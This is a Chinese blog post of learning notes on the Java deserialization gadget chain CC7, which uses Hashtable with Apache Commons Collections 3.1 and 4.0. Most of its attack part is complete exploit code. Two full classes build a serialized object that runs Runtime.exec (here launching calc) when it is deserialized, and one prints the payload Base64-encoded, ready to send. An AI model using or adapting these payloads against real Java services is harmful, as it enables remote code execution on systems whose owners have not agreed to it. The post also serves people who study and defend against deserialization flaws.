java反序列化----CC7利用链学习笔记(Hashtable)(基于commons-collections3和4)

java反序列化----CC7利用链学习笔记(Hashtable)

环境搭建

jdk8u71

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

利用链

还是和CC6相似
CC6后半部分使用的是HashSet,
CC7后半部分使用的是HashTable
java反序列化----CC6利用链学习笔记(HashMap和HashSet)
前半部分代码

        String cmd = "calc.exe";
        //构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

HashTable中也重写了readObject方法,put方法也调用了hash方法
所以添上

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap,"value");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.txt"));
        oos.writeObject(hashtable);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.txt"));
        ois.readObject();

但是执行后并没有弹出计算器
继续分析
发现HashTable中调用了reconstitutionPut方法

进入reconstitutionPut方法

在AbstractMap类中找到重写的equals

发现调用了get方法

现在回到reconstitutionPut方法,判断如何才能通过种种条件限制,调用get方法
首先满足if (value == null)不成立

然后想进入for循环和if判断

下面有一个tab[index] = new Entry<>(hash, key, value, e);
所以要进入for循环和if判断至少要put进两次数值
然后满足e.hash == hash条件,就是说要找到两个字符的hashCode()相同

正好有一组满足条件的字符串,所以put两次的key值分别为"yy","zZ"
"yy".hashCode() == "zZ".hashCode()

所以现在payload:

        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();
        LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);
        LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);
        lazyMap1.put("yy",1);
        lazyMap2.put("zZ",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1,1);
        hashtable.put(lazyMap2,1);

现在可以弹出计算器了,但是在序列化的过程中就弹出计算器了
打断点调试
发现lazyMap2增加了{{yy=1}=1},这样在序列化的时候满足"yy".hashCode() == "zZ".hashCode(),但在反序列化的过程中"{yy=1}".hashCode() != "zZ".hashCode()了


所以在hashtable.put(lazyMap2,1);后填上lazyMap2.remove("yy")
在序列化的过程中就弹出计算器可以学习CC2的先用无害链触发掉
但与CC2不同的是无害链只能为空的,像ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
所以最终EXP:

package cc7;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.Transformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class CC7 {
    public static void main(String[] args) throws Exception{
        //构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});//必须为空的,不能是new Transformer[]{new ConstantTransformer(1)}

        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();
        LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);
        lazyMap1.put("yy",1);
        LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);
        lazyMap2.put("zZ",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1,1);
        hashtable.put(lazyMap2,1);

        Class c = chainedTransformer.getClass();
        Field field = c.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transformers);

        lazyMap2.remove("yy");

        //序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.txt"));
        oos.writeObject(hashtable);

        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.txt"));
        ois.readObject();

    }
}

有的时候需要在commons-collections 4.0库的情况下,进行稍微修改,但是无法修改提前触发payload的问题

package cc7;

import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.map.DefaultedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7_2 {
    public static void main(String[] args) throws Exception{
        String cmd = "calc.exe";
        //构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//必须为空的,不能是new Transformer[]{new ConstantTransformer(1)}

        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();
        Class<DefaultedMap> c = DefaultedMap.class;
        Constructor<DefaultedMap> constructor = c.getDeclaredConstructor(Map.class,Transformer.class);
        constructor.setAccessible(true);

        DefaultedMap lazyMap1 = constructor.newInstance(hashMap1,chainedTransformer);//LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer);
        lazyMap1.put("yy",1);
        DefaultedMap lazyMap2 = constructor.newInstance(hashMap2,chainedTransformer);//LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer);
        lazyMap2.put("zZ",1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1,1);
        hashtable.put(lazyMap2,1);

        /*
        Class c = chainedTransformer.getClass();
        Field field = c.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transformers);
         */
        lazyMap2.remove("yy");

        //序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7-2.txt"));
        oos.writeObject(hashtable);

        File file = new File("cc7-2.txt");
        byte[] fileData = new byte[(int)file.length()];
        FileInputStream fis = new FileInputStream(file);
        fis.read(fileData);
        String encodedString = Base64.getEncoder().encodeToString(fileData);
        System.out.println(encodedString);
/*
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7-2.txt"));
        ois.readObject();
 */
    }
}
posted @ 2023-11-19 22:37  BattleofZhongDinghe  阅读(171)  评论(0编辑  收藏  举报